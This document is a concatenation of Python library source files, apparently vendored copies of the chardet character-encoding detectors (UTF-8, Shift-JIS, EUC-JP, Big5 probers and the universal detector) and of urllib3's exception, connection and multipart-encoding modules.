        self._mCharToFreqOrder = JISCharToFreqOrder
        self._mTableSize = JIS_TABLE_SIZE
        self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO

    def get_order(self, aBuf):
        # for euc-JP encoding, we are interested
        #   first  byte range: 0xa0 -- 0xfe
        #   second byte range: 0xa1 -- 0xfe
        # no validation needed here. State machine has done that
        char = wrap_ord(aBuf[0])
        if char >= 0xA0:
            return 94 * (char - 0xA1) + wrap_ord(aBuf[1]) - 0xa1
        else:
            return -1






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from . import constants
from .charsetprober import CharSetProber
from .codingstatemachine import CodingStateMachine
from .mbcssm import UTF8SMModel

ONE_CHAR_PROB = 0.5


class UTF8Prober(CharSetProber):
    def __init__(self):
        CharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(UTF8SMModel)
        self.reset()

    def reset(self):
        CharSetProber.reset(self)
        self._mCodingSM.reset()
        self._mNumOfMBChar = 0

    def get_charset_name(self):
        return "utf-8"

    def feed(self, aBuf):
        for c in aBuf:
            codingState = self._mCodingSM.next_state(c)
            if codingState == constants.eError:
                self._mState = constants.eNotMe
                break
            elif codingState == constants.eItsMe:
                self._mState = constants.eFoundIt
                break
            elif codingState == constants.eStart:
                if self._mCodingSM.get_current_charlen() >= 2:
                    self._mNumOfMBChar += 1

        if self.get_state() == constants.eDetecting:
            if self.get_confidence() > constants.SHORTCUT_THRESHOLD:
                self._mState = constants.eFoundIt

        return self.get_state()

    def get_confidence(self):
        unlike = 0.99
        if self._mNumOfMBChar < 6:
            for i in range(0, self._mNumOfMBChar):
                unlike = unlike * ONE_CHAR_PROB
            return 1.0 - unlike
        else:
            return unlike






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
# 
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
# 
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# Sampling from about 20M text materials include literature and computer technology

# 128  --> 0.79
# 256  --> 0.92
# 512  --> 0.986
# 1024 --> 0.99944
# 2048 --> 0.99999
#
# Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24
# Random Distribution Ration = 512 / (2350-512) = 0.279.
# 
# Typical Distribution Ratio  

EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0

EUCKR_TABLE_SIZE = 2352


######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import sys
from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import SJISDistributionAnalysis
from .jpcntx import SJISContextAnalysis
from .mbcssm import SJISSMModel
from . import constants


class SJISProber(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(SJISSMModel)
        self._mDistributionAnalyzer = SJISDistributionAnalysis()
        self._mContextAnalyzer = SJISContextAnalysis()
        self.reset()

    def reset(self):
        MultiByteCharSetProber.reset(self)
        self._mContextAnalyzer.reset()

    def get_charset_name(self):
        return self._mContextAnalyzer.get_charset_name()

    def feed(self, aBuf):
        aLen = len(aBuf)
        for i in range(0, aLen):
            codingState = self._mCodingSM.next_state(aBuf[i])
            if codingState == constants.eError:
                if constants._debug:
                    sys.stderr.write(self.get_charset_name()
                                     + ' prober hit error at byte ' + str(i)
                                     + '\n')
                self._mState = constants.eNotMe
                break
            elif codingState == constants.eItsMe:
                self._mState = constants.eFoundIt
                break
            elif codingState == constants.eStart:
                charLen = self._mCodingSM.get_current_charlen()
                if i == 0:
                    self._mLastChar[1] = aBuf[0]
                    self._mContextAnalyzer.feed(self._mLastChar[2 - charLen:],
                                                charLen)
                    self._mDistributionAnalyzer.feed(self._mLastChar, charLen)
                else:
                    self._mContextAnalyzer.feed(aBuf[i + 1 - charLen:i + 3
                                                     - charLen], charLen)
                    self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1],
                                                     charLen)

        self._mLastChar[0] = aBuf[aLen - 1]

        if self.get_state() == constants.eDetecting:
            if (self._mContextAnalyzer.got_enough_data() and
               (self.get_confidence() > constants.SHORTCUT_THRESHOLD)):
                self._mState = constants.eFoundIt

        return self.get_state()

    def get_confidence(self):
        contxtCf = self._mContextAnalyzer.get_confidence()
        distribCf = self._mDistributionAnalyzer.get_confidence()
        return max(contxtCf, distribCf)






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
#          Simon Montagu
# Portions created by the Initial Developer are Copyright (C) 2005
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#   Shoshannah Forbes - original C code (?)
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# 255: Control characters that usually does not exist in any text
# 254: Carriage/Return
# 253: symbol (punctuation) that does not belong to word
# 252: 0 - 9

# Windows-1255 language model
# Character Mapping Table:


Latin2HungarianModel = {
  'charToOrderMap': Latin2_HungarianCharToOrderMap,
  'precedenceMatrix': HungarianLangModel,
  'mTypicalPositiveRatio': 0.947368,
  'keepEnglishLetter': True,
  'charsetName': "ISO-8859-2"
}

Win1250HungarianModel = {
  'charToOrderMap': win1250HungarianCharToOrderMap,
  'precedenceMatrix': HungarianLangModel,
  'mTypicalPositiveRatio': 0.947368,
  'keepEnglishLetter': True,
  'charsetName': "windows-1250"
}

# flake8: noqa






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from . import constants
import sys
import codecs
from .latin1prober import Latin1Prober  # windows-1252
from .mbcsgroupprober import MBCSGroupProber  # multi-byte character sets
from .sbcsgroupprober import SBCSGroupProber  # single-byte character sets
from .escprober import EscCharSetProber  # ISO-2122, etc.
import re

MINIMUM_THRESHOLD = 0.20
ePureAscii = 0
eEscAscii = 1
eHighbyte = 2


class UniversalDetector:
    def __init__(self):
        self._highBitDetector = re.compile(b'[\x80-\xFF]')
        self._escDetector = re.compile(b'(\033|~{)')
        self._mEscCharSetProber = None
        self._mCharSetProbers = []
        self.reset()

    def reset(self):
        self.result = {'encoding': None, 'confidence': 0.0}
        self.done = False
        self._mStart = True
        self._mGotData = False
        self._mInputState = ePureAscii
        self._mLastChar = b''
        if self._mEscCharSetProber:
            self._mEscCharSetProber.reset()
        for prober in self._mCharSetProbers:
            prober.reset()

    def feed(self, aBuf):
        if self.done:
            return

        aLen = len(aBuf)
        if not aLen:
            return

        if not self._mGotData:
            # If the data starts with BOM, we know it is UTF
            if aBuf[:3] == codecs.BOM_UTF8:
                # EF BB BF  UTF-8 with BOM
                self.result = {'encoding': "UTF-8-SIG", 'confidence': 1.0}
            elif aBuf[:4] == codecs.BOM_UTF32_LE:
                # FF FE 00 00  UTF-32, little-endian BOM
                self.result = {'encoding': "UTF-32LE", 'confidence': 1.0}
            elif aBuf[:4] == codecs.BOM_UTF32_BE:
                # 00 00 FE FF  UTF-32, big-endian BOM
                self.result = {'encoding': "UTF-32BE", 'confidence': 1.0}
            elif aBuf[:4] == b'\xFE\xFF\x00\x00':
                # FE FF 00 00  UCS-4, unusual octet order BOM (3412)
                self.result = {
                    'encoding': "X-ISO-10646-UCS-4-3412",
                    'confidence': 1.0
                }
            elif aBuf[:4] == b'\x00\x00\xFF\xFE':
                # 00 00 FF FE  UCS-4, unusual octet order BOM (2143)
                self.result = {
                    'encoding': "X-ISO-10646-UCS-4-2143",
                    'confidence': 1.0
                }
            elif aBuf[:2] == codecs.BOM_LE:
                # FF FE  UTF-16, little endian BOM
                self.result = {'encoding': "UTF-16LE", 'confidence': 1.0}
            elif aBuf[:2] == codecs.BOM_BE:
                # FE FF  UTF-16, big endian BOM
                self.result = {'encoding': "UTF-16BE", 'confidence': 1.0}

        self._mGotData = True
        if self.result['encoding'] and (self.result['confidence'] > 0.0):
            self.done = True
            return

        if self._mInputState == ePureAscii:
            if self._highBitDetector.search(aBuf):
                self._mInputState = eHighbyte
            elif ((self._mInputState == ePureAscii) and
                    self._escDetector.search(self._mLastChar + aBuf)):
                self._mInputState = eEscAscii

        self._mLastChar = aBuf[-1:]

        if self._mInputState == eEscAscii:
            if not self._mEscCharSetProber:
                self._mEscCharSetProber = EscCharSetProber()
            if self._mEscCharSetProber.feed(aBuf) == constants.eFoundIt:
                self.result = {'encoding': self._mEscCharSetProber.get_charset_name(),
                               'confidence': self._mEscCharSetProber.get_confidence()}
                self.done = True
        elif self._mInputState == eHighbyte:
            if not self._mCharSetProbers:
                self._mCharSetProbers = [MBCSGroupProber(), SBCSGroupProber(),
                                         Latin1Prober()]
            for prober in self._mCharSetProbers:
                if prober.feed(aBuf) == constants.eFoundIt:
                    self.result = {'encoding': prober.get_charset_name(),
                                   'confidence': prober.get_confidence()}
                    self.done = True
                    break

    def close(self):
        if self.done:
            return
        if not self._mGotData:
            if constants._debug:
                sys.stderr.write('no data received!\n')
            return
        self.done = True

        if self._mInputState == ePureAscii:
            self.result = {'encoding': 'ascii', 'confidence': 1.0}
            return self.result

        if self._mInputState == eHighbyte:
            proberConfidence = None
            maxProberConfidence = 0.0
            maxProber = None
            for prober in self._mCharSetProbers:
                if not prober:
                    continue
                proberConfidence = prober.get_confidence()
                if proberConfidence > maxProberConfidence:
                    maxProberConfidence = proberConfidence
                    maxProber = prober
            if maxProber and (maxProberConfidence > MINIMUM_THRESHOLD):
                self.result = {'encoding': maxProber.get_charset_name(),
                               'confidence': maxProber.get_confidence()}
                return self.result

        if constants._debug:
            sys.stderr.write('no probers hit minimum threshhold\n')
            for prober in self._mCharSetProbers[0].mProbers:
                if not prober:
                    continue
                sys.stderr.write('%s confidence = %s\n' %
                                 (prober.get_charset_name(),
                                  prober.get_confidence()))






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# Big5 frequency table
# by Taiwan's Mandarin Promotion Council
# <http://www.edu.tw:81/mandr/>
#
# 128  --> 0.42261
# 256  --> 0.57851
# 512  --> 0.74851
# 1024 --> 0.89384
# 2048 --> 0.97583
#
# Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98
# Random Distribution Ration = 512/(5401-512)=0.105
#
# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR

BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75

#Char to FreqOrder table
BIG5_TABLE_SIZE = 5376



from __future__ import absolute_import
# Base Exceptions


class HTTPError(Exception):
    "Base exception used by this module."
    pass


class HTTPWarning(Warning):
    "Base warning used by this module."
    pass


class PoolError(HTTPError):
    "Base exception for errors caused within a pool."
    def __init__(self, pool, message):
        self.pool = pool
        HTTPError.__init__(self, "%s: %s" % (pool, message))

    def __reduce__(self):
        # For pickling purposes.
        return self.__class__, (None, None)


class RequestError(PoolError):
    "Base exception for PoolErrors that have associated URLs."
    def __init__(self, pool, url, message):
        self.url = url
        PoolError.__init__(self, pool, message)

    def __reduce__(self):
        # For pickling purposes.
        return self.__class__, (None, self.url, None)


class SSLError(HTTPError):
    "Raised when SSL certificate fails in an HTTPS connection."
    pass


class ProxyError(HTTPError):
    "Raised when the connection to a proxy fails."
    pass


class DecodeError(HTTPError):
    "Raised when automatic decoding based on Content-Type fails."
    pass


class ProtocolError(HTTPError):
    "Raised when something unexpected happens mid-request/response."
    pass


#: Renamed to ProtocolError but aliased for backwards compatibility.
ConnectionError = ProtocolError


# Leaf Exceptions

class MaxRetryError(RequestError):
    """Raised when the maximum number of retries is exceeded.

    :param pool: The connection pool
    :type pool: :class:`~urllib3.connectionpool.HTTPConnectionPool`
    :param string url: The requested Url
    :param exceptions.Exception reason: The underlying error

    """

    def __init__(self, pool, url, reason=None):
        self.reason = reason

        message = "Max retries exceeded with url: %s (Caused by %r)" % (
            url, reason)

        RequestError.__init__(self, pool, url, message)


class HostChangedError(RequestError):
    "Raised when an existing pool gets a request for a foreign host."

    def __init__(self, pool, url, retries=3):
        message = "Tried to open a foreign host with url: %s" % url
        RequestError.__init__(self, pool, url, message)
        self.retries = retries


class TimeoutStateError(HTTPError):
    """ Raised when passing an invalid state to a timeout """
    pass


class TimeoutError(HTTPError):
    """ Raised when a socket timeout error occurs.

    Catching this error will catch both :exc:`ReadTimeoutErrors
    <ReadTimeoutError>` and :exc:`ConnectTimeoutErrors <ConnectTimeoutError>`.
    """
    pass


class ReadTimeoutError(TimeoutError, RequestError):
    "Raised when a socket timeout occurs while receiving data from a server"
    pass


# This timeout error does not have a URL attached and needs to inherit from the
# base HTTPError
class ConnectTimeoutError(TimeoutError):
    "Raised when a socket timeout occurs while connecting to a server"
    pass


class NewConnectionError(ConnectTimeoutError, PoolError):
    "Raised when we fail to establish a new connection. Usually ECONNREFUSED."
    pass


class EmptyPoolError(PoolError):
    "Raised when a pool runs out of connections and no more are allowed."
    pass


class ClosedPoolError(PoolError):
    "Raised when a request enters a pool after the pool has been closed."
    pass


class LocationValueError(ValueError, HTTPError):
    "Raised when there is something wrong with a given URL input."
    pass


class LocationParseError(LocationValueError):
    "Raised when get_host or similar fails to parse the URL input."

    def __init__(self, location):
        message = "Failed to parse: %s" % location
        HTTPError.__init__(self, message)

        self.location = location


class ResponseError(HTTPError):
    "Used as a container for an error reason supplied in a MaxRetryError."
    GENERIC_ERROR = 'too many error responses'
    SPECIFIC_ERROR = 'too many {status_code} error responses'


class SecurityWarning(HTTPWarning):
    "Warned when perfoming security reducing actions"
    pass


class SubjectAltNameWarning(SecurityWarning):
    "Warned when connecting to a host with a certificate missing a SAN."
    pass


class InsecureRequestWarning(SecurityWarning):
    "Warned when making an unverified HTTPS request."
    pass


class SystemTimeWarning(SecurityWarning):
    "Warned when system time is suspected to be wrong"
    pass


class InsecurePlatformWarning(SecurityWarning):
    "Warned when certain SSL configuration is not available on a platform."
    pass


class SNIMissingWarning(HTTPWarning):
    "Warned when making a HTTPS request without SNI available."
    pass


class DependencyWarning(HTTPWarning):
    """
    Warned when an attempt is made to import a module with missing optional
    dependencies.
    """
    pass


class ResponseNotChunked(ProtocolError, ValueError):
    "Response needs to be chunked in order to read it as chunks."
    pass


class ProxySchemeUnknown(AssertionError, ValueError):
    "ProxyManager does not support the supplied scheme"
    # TODO(t-8ch): Stop inheriting from AssertionError in v2.0.

    def __init__(self, scheme):
        message = "Not supported proxy scheme %s" % scheme
        super(ProxySchemeUnknown, self).__init__(message)


class HeaderParsingError(HTTPError):
    "Raised by assert_header_parsing, but we convert it to a log.warning statement."
    def __init__(self, defects, unparsed_data):
        message = '%s, unparsed data: %r' % (defects or 'Unknown', unparsed_data)
        super(HeaderParsingError, self).__init__(message)






from __future__ import absolute_import
import datetime
import logging
import os
import sys
import socket
from socket import error as SocketError, timeout as SocketTimeout
import warnings
from .packages import six

try:  # Python 3
    from http.client import HTTPConnection as _HTTPConnection
    from http.client import HTTPException  # noqa: unused in this module
except ImportError:
    from httplib import HTTPConnection as _HTTPConnection
    from httplib import HTTPException  # noqa: unused in this module

try:  # Compiled with SSL?
    import ssl
    BaseSSLError = ssl.SSLError
except (ImportError, AttributeError):  # Platform-specific: No SSL.
    ssl = None

    class BaseSSLError(BaseException):
        pass


try:  # Python 3:
    # Not a no-op, we're adding this to the namespace so it can be imported.
    ConnectionError = ConnectionError
except NameError:  # Python 2:
    class ConnectionError(Exception):
        pass


from .exceptions import (
    NewConnectionError,
    ConnectTimeoutError,
    SubjectAltNameWarning,
    SystemTimeWarning,
)
from .packages.ssl_match_hostname import match_hostname, CertificateError

from .util.ssl_ import (
    resolve_cert_reqs,
    resolve_ssl_version,
    ssl_wrap_socket,
    assert_fingerprint,
)


from .util import connection

from ._collections import HTTPHeaderDict

log = logging.getLogger(__name__)

port_by_scheme = {
    'http': 80,
    'https': 443,
}

RECENT_DATE = datetime.date(2014, 1, 1)


class DummyConnection(object):
    """Used to detect a failed ConnectionCls import."""
    pass


class HTTPConnection(_HTTPConnection, object):
    """
    Based on httplib.HTTPConnection but provides an extra constructor
    backwards-compatibility layer between older and newer Pythons.

    Additional keyword parameters are used to configure attributes of the connection.
    Accepted parameters include:

      - ``strict``: See the documentation on :class:`urllib3.connectionpool.HTTPConnectionPool`
      - ``source_address``: Set the source address for the current connection.

        .. note:: This is ignored for Python 2.6. It is only applied for 2.7 and 3.x

      - ``socket_options``: Set specific options on the underlying socket. If not specified, then
        defaults are loaded from ``HTTPConnection.default_socket_options`` which includes disabling
        Nagle's algorithm (sets TCP_NODELAY to 1) unless the connection is behind a proxy.

        For example, if you wish to enable TCP Keep Alive in addition to the defaults,
        you might pass::

            HTTPConnection.default_socket_options + [
                (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1),
            ]

        Or you may want to disable the defaults by passing an empty list (e.g., ``[]``).
    """

    default_port = port_by_scheme['http']

    #: Disable Nagle's algorithm by default.
    #: ``[(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)]``
    default_socket_options = [(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)]

    #: Whether this connection verifies the host's certificate.
    is_verified = False

    def __init__(self, *args, **kw):
        if six.PY3:  # Python 3
            kw.pop('strict', None)

        # Pre-set source_address in case we have an older Python like 2.6.
        self.source_address = kw.get('source_address')

        if sys.version_info < (2, 7):  # Python 2.6
            # _HTTPConnection on Python 2.6 will balk at this keyword arg, but
            # not newer versions. We can still use it when creating a
            # connection though, so we pop it *after* we have saved it as
            # self.source_address.
            kw.pop('source_address', None)

        #: The socket options provided by the user. If no options are
        #: provided, we use the default options.
        self.socket_options = kw.pop('socket_options', self.default_socket_options)

        # Superclass also sets self.source_address in Python 2.7+.
        _HTTPConnection.__init__(self, *args, **kw)

    def _new_conn(self):
        """ Establish a socket connection and set nodelay settings on it.

        :return: New socket connection.
        """
        extra_kw = {}
        if self.source_address:
            extra_kw['source_address'] = self.source_address

        if self.socket_options:
            extra_kw['socket_options'] = self.socket_options

        try:
            conn = connection.create_connection(
                (self.host, self.port), self.timeout, **extra_kw)

        except SocketTimeout as e:
            raise ConnectTimeoutError(
                self, "Connection to %s timed out. (connect timeout=%s)" %
                (self.host, self.timeout))

        except SocketError as e:
            raise NewConnectionError(
                self, "Failed to establish a new connection: %s" % e)

        return conn

    def _prepare_conn(self, conn):
        self.sock = conn
        # the _tunnel_host attribute was added in python 2.6.3 (via
        # http://hg.python.org/cpython/rev/0f57b30a152f) so pythons 2.6(0-2) do
        # not have them.
        if getattr(self, '_tunnel_host', None):
            # TODO: Fix tunnel so it doesn't depend on self.sock state.
            self._tunnel()
            # Mark this connection as not reusable
            self.auto_open = 0

    def connect(self):
        conn = self._new_conn()
        self._prepare_conn(conn)

    def request_chunked(self, method, url, body=None, headers=None):
        """
        Alternative to the common request method, which sends the
        body with chunked encoding and not as one block
        """
        headers = HTTPHeaderDict(headers if headers is not None else {})
        skip_accept_encoding = 'accept-encoding' in headers
        self.putrequest(method, url, skip_accept_encoding=skip_accept_encoding)
        for header, value in headers.items():
            self.putheader(header, value)
        if 'transfer-encoding' not in headers:
            self.putheader('Transfer-Encoding', 'chunked')
        self.endheaders()

        if body is not None:
            stringish_types = six.string_types + (six.binary_type,)
            if isinstance(body, stringish_types):
                body = (body,)
            for chunk in body:
                if not chunk:
                    continue
                if not isinstance(chunk, six.binary_type):
                    chunk = chunk.encode('utf8')
                len_str = hex(len(chunk))[2:]
                self.send(len_str.encode('utf-8'))
                self.send(b'\r\n')
                self.send(chunk)
                self.send(b'\r\n')

        # After the if clause, to always have a closed body
        self.send(b'0\r\n\r\n')


class HTTPSConnection(HTTPConnection):
    default_port = port_by_scheme['https']

    def __init__(self, host, port=None, key_file=None, cert_file=None,
                 strict=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, **kw):

        HTTPConnection.__init__(self, host, port, strict=strict,
                                timeout=timeout, **kw)

        self.key_file = key_file
        self.cert_file = cert_file

        # Required property for Google AppEngine 1.9.0 which otherwise causes
        # HTTPS requests to go out as HTTP. (See Issue #356)
        self._protocol = 'https'

    def connect(self):
        conn = self._new_conn()
        self._prepare_conn(conn)
        self.sock = ssl.wrap_socket(conn, self.key_file, self.cert_file)


class VerifiedHTTPSConnection(HTTPSConnection):
    """
    Based on httplib.HTTPSConnection but wraps the socket with
    SSL certification.
    """
    cert_reqs = None
    ca_certs = None
    ca_cert_dir = None
    ssl_version = None
    assert_fingerprint = None

    def set_cert(self, key_file=None, cert_file=None,
                 cert_reqs=None, ca_certs=None,
                 assert_hostname=None, assert_fingerprint=None,
                 ca_cert_dir=None):

        if (ca_certs or ca_cert_dir) and cert_reqs is None:
            cert_reqs = 'CERT_REQUIRED'

        self.key_file = key_file
        self.cert_file = cert_file
        self.cert_reqs = cert_reqs
        self.assert_hostname = assert_hostname
        self.assert_fingerprint = assert_fingerprint
        self.ca_certs = ca_certs and os.path.expanduser(ca_certs)
        self.ca_cert_dir = ca_cert_dir and os.path.expanduser(ca_cert_dir)

    def connect(self):
        # Add certificate verification
        conn = self._new_conn()

        resolved_cert_reqs = resolve_cert_reqs(self.cert_reqs)
        resolved_ssl_version = resolve_ssl_version(self.ssl_version)

        hostname = self.host
        if getattr(self, '_tunnel_host', None):
            # _tunnel_host was added in Python 2.6.3
            # (See: http://hg.python.org/cpython/rev/0f57b30a152f)

            self.sock = conn
            # Calls self._set_hostport(), so self.host is
            # self._tunnel_host below.
            self._tunnel()
            # Mark this connection as not reusable
            self.auto_open = 0

            # Override the host with the one we're requesting data from.
            hostname = self._tunnel_host

        is_time_off = datetime.date.today() < RECENT_DATE
        if is_time_off:
            warnings.warn((
                'System time is way off (before {0}). This will probably '
                'lead to SSL verification errors').format(RECENT_DATE),
                SystemTimeWarning
            )

        # Wrap socket using verification with the root certs in
        # trusted_root_certs
        self.sock = ssl_wrap_socket(conn, self.key_file, self.cert_file,
                                    cert_reqs=resolved_cert_reqs,
                                    ca_certs=self.ca_certs,
                                    ca_cert_dir=self.ca_cert_dir,
                                    server_hostname=hostname,
                                    ssl_version=resolved_ssl_version)

        if self.assert_fingerprint:
            assert_fingerprint(self.sock.getpeercert(binary_form=True),
                               self.assert_fingerprint)
        elif resolved_cert_reqs != ssl.CERT_NONE \
                and self.assert_hostname is not False:
            cert = self.sock.getpeercert()
            if not cert.get('subjectAltName', ()):
                warnings.warn((
                    'Certificate for {0} has no `subjectAltName`, falling back to check for a '
                    '`commonName` for now. This feature is being removed by major browsers and '
                    'deprecated by RFC 2818. (See https://github.com/shazow/urllib3/issues/497 '
                    'for details.)'.format(hostname)),
                    SubjectAltNameWarning
                )
            _match_hostname(cert, self.assert_hostname or hostname)

        self.is_verified = (resolved_cert_reqs == ssl.CERT_REQUIRED or
                            self.assert_fingerprint is not None)


def _match_hostname(cert, asserted_hostname):
    try:
        match_hostname(cert, asserted_hostname)
    except CertificateError as e:
        log.error(
            'Certificate did not match expected hostname: %s. '
            'Certificate: %s', asserted_hostname, cert
        )
        # Add cert to exception and reraise so client code can inspect
        # the cert when catching the exception, if they want to
        e._peer_cert = cert
        raise


if ssl:
    # Make a copy for testing.
    UnverifiedHTTPSConnection = HTTPSConnection
    HTTPSConnection = VerifiedHTTPSConnection
else:
    HTTPSConnection = DummyConnection






from __future__ import absolute_import
import codecs

from uuid import uuid4
from io import BytesIO

from .packages import six
from .packages.six import b
from .fields import RequestField

writer = codecs.lookup('utf-8')[3]


def choose_boundary():
    """
    Our embarassingly-simple replacement for mimetools.choose_boundary.
    """
    return uuid4().hex


def iter_field_objects(fields):
    """
    Iterate over fields.

    Supports list of (k, v) tuples and dicts, and lists of
    :class:`~urllib3.fields.RequestField`.

    """
    if isinstance(fields, dict):
        i = six.iteritems(fields)
    else:
        i = iter(fields)

    for field in i:
        if isinstance(field, RequestField):
            yield field
        else:
            yield RequestField.from_tuples(*field)


def iter_fields(fields):
    """
    .. deprecated:: 1.6

    Iterate over fields.

    The addition of :class:`~urllib3.fields.RequestField` makes this function
    obsolete. Instead, use :func:`iter_field_objects`, which returns
    :class:`~urllib3.fields.RequestField` objects.

    Supports list of (k, v) tuples and dicts.
    """
    if isinstance(fields, dict):
        return ((k, v) for k, v in six.iteritems(fields))

    return ((k, v) for k, v in fields)


def encode_multipart_formdata(fields, boundary=None):
    """
    Encode a dictionary of ``fields`` using the multipart/form-data MIME format.

    :param fields:
        Dictionary of fields or list of (key, :class:`~urllib3.fields.RequestField`).

    :param boundary:
        If not specified, then a random boundary will be generated using
        :func:`mimetools.choose_boundary`.
    """
    body = BytesIO()
    if boundary is None:
        boundary = choose_boundary()

    for field in iter_field_objects(fields):
        body.write(b('--%s\r\n' % (boundary)))

        writer(body).write(field.render_headers())
        data = field.data

        if isinstance(data, int):
            data = str(data)  # Backwards compatibility

        if isinstance(data, six.text_type):
            writer(body).write(data)
        else:
            body.write(data)

        body.write(b'\r\n')

    body.write(b('--%s--\r\n' % (boundary)))

    content_type = str('multipart/form-data; boundary=%s' % boundary)

    return body.getvalue(), content_type






from __future__ import absolute_import
import errno
import logging
import sys
import warnings

from socket import error as SocketError, timeout as SocketTimeout
import socket

try:  # Python 3
    from queue import LifoQueue, Empty, Full
except ImportError:
    from Queue import LifoQueue, Empty, Full
    # Queue is imported for side effects on MS Windows
    import Queue as _unused_module_Queue  # noqa: unused


from .exceptions import (
    ClosedPoolError,
    ProtocolError,
    EmptyPoolError,
    HeaderParsingError,
    HostChangedError,
    LocationValueError,
    MaxRetryError,
    ProxyError,
    ReadTimeoutError,
    SSLError,
    TimeoutError,
    InsecureRequestWarning,
    NewConnectionError,
)
